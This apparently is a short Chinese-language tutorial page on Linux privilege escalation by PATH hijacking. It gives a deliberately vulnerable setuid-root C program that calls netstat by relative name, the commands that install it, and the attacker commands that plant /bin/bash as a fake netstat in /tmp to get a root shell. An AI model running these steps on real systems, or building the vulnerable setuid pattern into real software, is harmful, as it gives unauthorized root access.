Skip to content

Latest commit

 

History

History
executable file
·
35 lines (27 loc) · 932 Bytes

环境变量劫持提权.md

File metadata and controls

executable file
·
35 lines (27 loc) · 932 Bytes

下面简单给个例子介绍如何进行软链接提权。

示例代码如下

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(){
    setuid(0);
    setgid(0);
    system("netstat -ntuap");
    return 0;
}

环境配置 root用户编译上面的程序,并赋s权限,使得任何一个用户都能够看到系统的网络监听明细。

gcc 1.c ;chmod 4755 a.out

攻击者利用

攻击者用户先修改自己的环境变量,加入高优先级的路径,如果在该路径下存在与其他路径同名的命令就能优先执行。在下面的具体命令中,由于示例代码内以root权限调用了netstat,而此时netstat已经被劫持了,所以可以最终造成了提权。

#部署$PATH劫持后门
export PATH=/tmp:$PATH
echo "/bin/bash" > /tmp/netstat
chmod 777 /tmp/netstat
#执行受害程序
./a.out